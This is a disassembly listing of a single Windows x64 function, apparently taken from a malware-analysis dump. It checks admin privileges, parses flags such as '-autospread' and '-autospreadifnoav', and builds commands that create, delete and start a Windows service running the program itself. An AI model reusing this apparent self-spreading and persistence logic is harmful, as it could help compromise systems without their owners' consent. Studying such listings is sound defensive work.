Function at 0x1400013c0
Capabilities:
Get token privileges

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x378
movaps xmmword [rsp + 0x360], xmm6
mov rsi, rdx
mov edi, ecx
lea rbx, [rsp + 0x150]
xor ecx, ecx
mov rdx, rbx
mov r8d, 0x105
call qword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea rcx, [0x1402db978]
mov rdx, rbx
call fcn.140076120
mov qword [rsp + 0x90], 0xffffffffffffffff
mov rcx, qword [0x1402d7270]
lea r8, [rsp + 0x90]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0xb8], 0
mov rcx, qword [rsp + 0x90]
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
mov edx, 0x12
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
cmp dword [rsp + 0x30], 3
jne 0x14000147c
mov byte [0x1402da3a1], 1
jmp 0x140001485
cmp byte [0x1402da3a1], 0
je 0x14000149b
lea rcx, str.you_are_running_WITHOUT_admin_privilage_elevation__please_close_in_5sec_and_RUN_AS_ADIMINISTRATOR_if_this_is_done_unintentionaly
call fcn.140002950
mov rax, qword [0x1402593c0]
mov byte [rax], 0
cmp edi, 2
jl 0x140001911
movabs rbx, 0x7fffffffffffffef
mov ebp, edi
mov r15d, 1
lea r14, str._autospreadifnoav
mov r12, qword [sym.imp.msvcrt.dll__wcsnicmp]
lea r13, str._autospread
jmp 0x140001504
mov rax, qword [0x1402593b0]
mov byte [rax], 1
mov rdx, qword [rsi + r15*8]
add rdx, 0x18
mov rcx, qword [0x1402593c8]
call fcn.140076120
mov rax, qword [0x1402593b8]
mov byte [rax], 1
mov r15, rdi
cmp rdi, rbp
je 0x140001911
lea rdi, [r15 + 1]
cmp rdi, rbp
jae 0x14000164c
mov qword [rsp + 0x128], rdi
mov r13, rbp
mov rbp, r12
mov rdi, qword [rsi + r15*8]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp rax, rbx
ja 0x1400025a5
mov r12, rax
cmp rax, 0xa
ja 0x140001560
lea eax, [r12 + r12]
mov byte [rsp + 0x90], al
lea r14, [rsp + 0x92]
jmp 0x1400015a2
mov rbx, r12
or rbx, 7
inc rbx
js 0x1400025b2
lea rcx, [rbx + rbx]
call fcn.1400731c0
mov r14, rax
mov qword [rsp + 0xa0], rax
or rbx, 1
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x98], r12
movabs rbx, 0x7fffffffffffffef
mov r8, r12
add r8, r12
mov rcx, r14
mov rdx, rdi
call sub.msvcrt.dll_memmove
mov word [r14 + r12*2], 0
movzx edx, byte [rsp + 0x90]
test dl, 1
je 0x1400015e0
mov rdx, qword [rsp + 0x98]
mov rax, qword [rsp + 0xa0]
jmp 0x1400015eb
shr rdx, 1
lea rax, [rsp + 0x92]
lea r14, str._autospreadifnoav
mov r12, rbp
mov rdi, qword [rsp + 0x128]
cmp rdx, 5
mov rbp, r13
lea r13, str._autospread
jge 0x1400016f0
mov rdx, qword [rsi + r15*8]
lea rcx, str._file
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x140001635
mov rdx, qword [rsi + rdi*8]
lea rcx, [0x1402db978]
call fcn.140076120
test byte [rsp + 0x90], 1
je 0x14000164c
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
mov rcx, qword [rsi + r15*8]
mov r8d, 0x12
mov rdx, r14
call r12
test eax, eax
jne 0x14000167e
mov rax, qword [0x1402593b0]
mov byte [rax], 1
mov rdx, qword [rsi + r15*8]
add rdx, 0x24
mov rcx, qword [0x1402593c8]
call fcn.140076120
mov rcx, qword [rsi + r15*8]
mov r8d, 0xc
mov rdx, r13
call r12
test eax, eax
je 0x1400014d0
mov rcx, qword [rsi + r15*8]
lea rdx, str._irs
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140001c64
mov rcx, qword [rsi + r15*8]
lea rdx, [0x1402591e4]
call sub.msvcrt.dll_wcscmp
test eax, eax
je 0x140001d60
mov rcx, qword [rsi + r15*8]
lea rdx, [0x1402591ec]
call sub.msvcrt.dll_wcscmp
test eax, eax
jne 0x1400014f8
jmp 0x140001de8
lea rcx, [rax + rdx*2]
lea r8, [rax + rdx*2]
add r8, 0xfffffffffffffffe
mov r9, rax
add rdx, 0xfffffffffffffffc
je 0x140001611
xor r10d, r10d
nop dword [rax]
cmp word [r9 + r10], 0x2d
je 0x140001730
add r10, 2
dec rdx
jne 0x140001710
jmp 0x140001611
cmp word [r9 + r10 + 2], 0x77
jne 0x140001760
cmp word [r9 + r10 + 4], 0x61
jne 0x140001760
cmp word [r9 + r10 + 6], 0x69
jne 0x140001760
cmp word [r9 + r10 + 8], 0x74
je 0x140001781
nop word cs:[rax + rax]
mov r11, r8
sub r11, r9
add r9, r10
add r9, 2
sub r11, r10
mov rdx, r11
shr rdx, 1
cmp r11, 0xa
jge 0x1400016ff
jmp 0x140001611
lea rdx, [r9 + r10]
cmp rdx, rcx
je 0x140001611
sub rax, r9
add rax, 0xfffffffffffffffe
cmp rax, r10
je 0x140001611
mov rdi, qword [rsi + rdi*8]
mov rcx, rdi
call sub.msvcrt.dll_wcslen
cmp rax, rbx
ja 0x1400025b7
cmp rax, 0xa
mov qword [rsp + 0x148], rdi
mov qword [rsp + 0xb0], rax
ja 0x1400017d7
lea ecx, [rax + rax]
mov byte [rsp + 0x30], cl
lea rdi, [rsp + 0x32]
jmp 0x140001818
mov rbx, rax
or rbx, 7
inc rbx
js 0x1400025c1
lea rcx, [rbx + rbx]
call fcn.1400731c0
mov rdi, rax
mov qword [rsp + 0x40], rax
or rbx, 1
mov qword [rsp + 0x30], rbx
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x38], rax
movabs rbx, 0x7fffffffffffffef
mov r8, rax
add r8, rax
mov rcx, rdi
mov rdx, qword [rsp + 0x148]
call sub.msvcrt.dll_memmove
mov rax, qword [rsp + 0xb0]
mov word [rdi + rax*2], 0
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0xa
call fcn.1400766a0
mov edi, eax
test byte [rsp + 0x30], 1
je 0x140001861
mov rcx, qword [rsp + 0x40]
call fcn.140073240
movsxd rax, edi
imul rcx, rax, 0x66666667
mov rax, rcx
shr rax, 0x3f
sar rcx, 0x22
add ecx, eax
mov qword [rsp + 0xb0], rcx
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rdi, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x140001611
movaps xmm0, xmmword [0x140259210]
movaps xmmword [rsp + 0xa0], xmm0
movaps xmm0, xmmword [0x140259200]
movaps xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x1400024d1
lea rdx, [0x1402db978]
lea rsi, [rsp + 0x50]
mov rcx, rsi
call fcn.140075840
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0xb8]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140075cf0
lea rdx, [0x140259170]
lea rcx, [rsp + 0xb8]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x40], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x30], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x30], 1
je 0x1400019bd
mov rsi, qword [rsp + 0x40]
jmp 0x1400019c2
lea rsi, [rsp + 0x32]
mov byte [rsp + 0x130], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0x132], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0x138], rax
mov word [rsp + 0x140], 0
lea rdx, [0x1402591a2]
lea rcx, [rsp + 0x130]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591b0]
lea rcx, [rsp + 0xd0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402db978]
test r8b, 1
je 0x140001a85
mov rdx, qword [0x1402db988]
mov r8, qword [0x1402db980]
jmp 0x140001a8f
shr r8, 1
lea rdx, [0x1402db97a]
lea rcx, [rsp + 0xf0]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591c8]
lea rcx, [rsp + 0x110]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x70], 1
je 0x140001b05
mov rdx, qword [rsp + 0x80]
jmp 0x140001b0a
lea rdx, [rsp + 0x72]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x70], 1
jne 0x140001bab
test byte [rsp + 0x110], 1
jne 0x140001bc6
test byte [rsp + 0xf0], 1
jne 0x140001be1
test byte [rsp + 0xd0], 1
jne 0x140001bfc
test byte [rsp + 0x130], 1
jne 0x140001c17
test byte [rsp + 0x30], 1
jne 0x140001c2f
test byte [rsp + 0xb8], 1
jne 0x140001c47
test byte [rsp + 0x50], 1
je 0x140001b8f
mov rcx, qword [rsp + 0x60]
call fcn.140073240
lea rcx, str.running_after_5_seconds__close_proccess_for_cancelling
call fcn.140002950
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x140001df2
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x140001b3b
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0xf0], 1
je 0x140001b49
mov rcx, qword [rsp + 0x100]
call fcn.140073240
test byte [rsp + 0xd0], 1
je 0x140001b57
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x130], 1
je 0x140001b65
mov rcx, qword [rsp + 0x140]
call fcn.140073240
test byte [rsp + 0x30], 1
je 0x140001b70
mov rcx, qword [rsp + 0x40]
call fcn.140073240
test byte [rsp + 0xb8], 1
je 0x140001b7e
mov rcx, qword [rsp + 0xc8]
call fcn.140073240
test byte [rsp + 0x50], 1
jne 0x140001b85
jmp 0x140001b8f
lea rdx, [0x1402db978]
lea rsi, [rsp + 0xb8]
mov rcx, rsi
call fcn.140075840
lea rbx, [rsp + 0x50]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x30]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140075cf0
lea rdx, [0x140259170]
lea rcx, [rsp + 0x30]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx esi, byte [rsp + 0x90]
mov rdi, qword [rsp + 0xa0]
mov byte [rsp + 0x70], 0xe
movabs rax, 0x65006c00650064
mov qword [rsp + 0x72], rax
movabs rax, 0x20006500740065
mov qword [rsp + 0x78], rax
mov word [rsp + 0x80], 0
lea rdx, [0x1402591a2]
lea rcx, [rsp + 0x70]
call fcn.140076360
test sil, 1
lea rsi, [rsp + 0x92]
cmove rdi, rsi
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x50], 1
je 0x140001dfc
mov rdx, qword [rsp + 0x60]
jmp 0x140001e01
lea rdx, [0x1402db978]
lea rsi, [rsp + 0xb8]
mov rcx, rsi
call fcn.140075840
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140075cf0
lea rdx, [0x140259170]
lea rcx, [rsp + 0x30]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x90], 1
je 0x140002301
mov rsi, qword [rsp + 0xa0]
jmp 0x140002309
mov rax, qword [0x1402593c0]
mov byte [rax], 0
call fcn.140002cd0
jmp 0x1400024d1
lea rdx, [rsp + 0x52]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rdi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x50], 1
jne 0x140001fa0
test byte [rsp + 0x70], 1
jne 0x140001fb5
test byte [rsp + 0x90], 1
jne 0x140001fd0
test byte [rsp + 0x30], 1
jne 0x140001fe8
test byte [rsp + 0xb8], 1
je 0x140001e63
mov rcx, qword [rsp + 0xc8]
call fcn.140073240
lea rdx, [0x1402db978]
lea rdi, [rsp + 0xb8]
mov rcx, rdi
call fcn.140075840
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x30]
mov r9d, 2
mov rdx, rdi
xor r8d, r8d
call fcn.140075cf0
lea rdx, [0x140259170]
lea rcx, [rsp + 0x30]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x90], 1
je 0x140001edd
mov rsi, qword [rsp + 0xa0]
mov byte [rsp + 0xd0], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0xd2], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rdx, [0x1402591a2]
lea rcx, [rsp + 0xd0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591b0]
lea rcx, [rsp + 0xf0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402db978]
test r8b, 1
je 0x140002005
mov rdx, qword [0x1402db988]
mov r8, qword [0x1402db980]
jmp 0x14000200f
mov rcx, qword [rsp + 0x60]
call fcn.140073240
test byte [rsp + 0x70], 1
je 0x140001e33
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x140001e41
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0x30], 1
je 0x140001e4c
mov rcx, qword [rsp + 0x40]
call fcn.140073240
test byte [rsp + 0xb8], 1
jne 0x140001e56
jmp 0x140001e63
shr r8, 1
lea rdx, [0x1402db97a]
lea rcx, [rsp + 0x110]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591c8]
lea rcx, [rsp + 0x70]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x50], 1
je 0x140002079
mov rdx, qword [rsp + 0x60]
jmp 0x14000207e
lea rdx, [rsp + 0x52]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 1
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x50], 1
jne 0x140002201
test byte [rsp + 0x70], 1
jne 0x140002216
test byte [rsp + 0x110], 1
jne 0x140002231
test byte [rsp + 0xf0], 1
jne 0x14000224c
test byte [rsp + 0xd0], 1
jne 0x140002267
test byte [rsp + 0x90], 1
jne 0x140002282
test byte [rsp + 0x30], 1
jne 0x14000229a
test byte [rsp + 0xb8], 1
je 0x14000210a
mov rcx, qword [rsp + 0xc8]
call fcn.140073240
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.DLL_Sleep]
lea rdx, [0x1402db978]
lea rsi, [rsp + 0xb8]
mov rcx, rsi
call fcn.140075840
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x30]
mov r9d, 2
mov rdx, rsi
xor r8d, r8d
call fcn.140075cf0
lea rdx, [0x140259170]
lea rcx, [rsp + 0x30]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x90], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx ebx, byte [rsp + 0x90]
mov rsi, qword [rsp + 0xa0]
mov byte [rsp + 0x70], 0xc
movabs rax, 0x72006100740073
mov qword [rsp + 0x72], rax
mov dword [rsp + 0x7a], 0x200074
mov word [rsp + 0x7e], 0
lea rdx, [0x1402591a2]
lea rcx, [rsp + 0x70]
call fcn.140076360
test bl, 1
lea rcx, [rsp + 0x92]
cmove rsi, rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x50], 1
je 0x1400022b7
mov rdx, qword [rsp + 0x60]
jmp 0x1400022bc
mov rcx, qword [rsp + 0x60]
call fcn.140073240
test byte [rsp + 0x70], 1
je 0x1400020b0
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x1400020be
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0xf0], 1
je 0x1400020cc
mov rcx, qword [rsp + 0x100]
call fcn.140073240
test byte [rsp + 0xd0], 1
je 0x1400020da
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x1400020e8
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0x30], 1
je 0x1400020f3
mov rcx, qword [rsp + 0x40]
call fcn.140073240
test byte [rsp + 0xb8], 1
jne 0x1400020fd
jmp 0x14000210a
lea rdx, [rsp + 0x52]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x50], 1
je 0x1400022e9
mov rcx, qword [rsp + 0x60]
call fcn.140073240
test byte [rsp + 0x70], 1
je 0x1400024a1
mov rcx, qword [rsp + 0x80]
jmp 0x14000255d
lea rsi, [rsp + 0x92]
mov byte [rsp + 0xd0], 0xe
movabs rax, 0x61006500720063
mov qword [rsp + 0xd2], rax
movabs rax, 0x20006500740061
mov qword [rsp + 0xd8], rax
mov word [rsp + 0xe0], 0
lea rdx, [0x1402591a2]
lea rcx, [rsp + 0xd0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x100], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xf0], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591b0]
lea rcx, [rsp + 0xf0]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x120], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
movzx r8d, byte [0x1402db978]
test r8b, 1
je 0x1400023cc
mov rdx, qword [0x1402db988]
mov r8, qword [0x1402db980]
jmp 0x1400023d6
shr r8, 1
lea rdx, [0x1402db97a]
lea rcx, [rsp + 0x110]
call fcn.140075c20
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x80], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
xorps xmm6, xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
lea rdx, [0x1402591c8]
lea rcx, [rsp + 0x70]
call fcn.140076360
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x60], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x50], xmm0
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
test byte [rsp + 0x50], 1
je 0x140002440
mov rdx, qword [rsp + 0x60]
jmp 0x140002445
lea rdx, [rsp + 0x52]
mov qword [rsp + 0x28], 0
mov byte [rsp + 0x20], 0
mov rcx, rsi
mov r8b, 1
xor r9d, r9d
call fcn.1400579b0
test byte [rsp + 0x50], 1
jne 0x1400024ef
test byte [rsp + 0x70], 1
jne 0x140002504
test byte [rsp + 0x110], 1
jne 0x14000251f
test byte [rsp + 0xf0], 1
jne 0x14000253a
test byte [rsp + 0xd0], 1
jne 0x140002555
test byte [rsp + 0x90], 1
jne 0x140002570
test byte [rsp + 0x30], 1
jne 0x140002588
test byte [rsp + 0xb8], 1
je 0x1400024d1
mov rcx, qword [rsp + 0xc8]
call fcn.140073240
xor eax, eax
movaps xmm6, xmmword [rsp + 0x360]
add rsp, 0x378
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x60]
call fcn.140073240
test byte [rsp + 0x70], 1
je 0x140002477
mov rcx, qword [rsp + 0x80]
call fcn.140073240
test byte [rsp + 0x110], 1
je 0x140002485
mov rcx, qword [rsp + 0x120]
call fcn.140073240
test byte [rsp + 0xf0], 1
je 0x140002493
mov rcx, qword [rsp + 0x100]
call fcn.140073240
test byte [rsp + 0xd0], 1
je 0x1400024a1
mov rcx, qword [rsp + 0xe0]
call fcn.140073240
test byte [rsp + 0x90], 1
je 0x1400024af
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
test byte [rsp + 0x30], 1
je 0x1400024ba
mov rcx, qword [rsp + 0x40]
call fcn.140073240
test byte [rsp + 0xb8], 1
jne 0x1400024c4
jmp 0x1400024d1
lea rcx, [rsp + 0x90]
call fcn.140002b00
call fcn.140002ba0
lea rcx, [rsp + 0x30]
call fcn.140002b00
call fcn.140002ba0
jmp 0x140002928
mov rsi, rax
test byte [rsp + 0x90], 1
je 0x140002942
mov rcx, qword [rsp + 0xa0]
call fcn.140073240
mov rcx, rsi
call fcn.14009d370
int3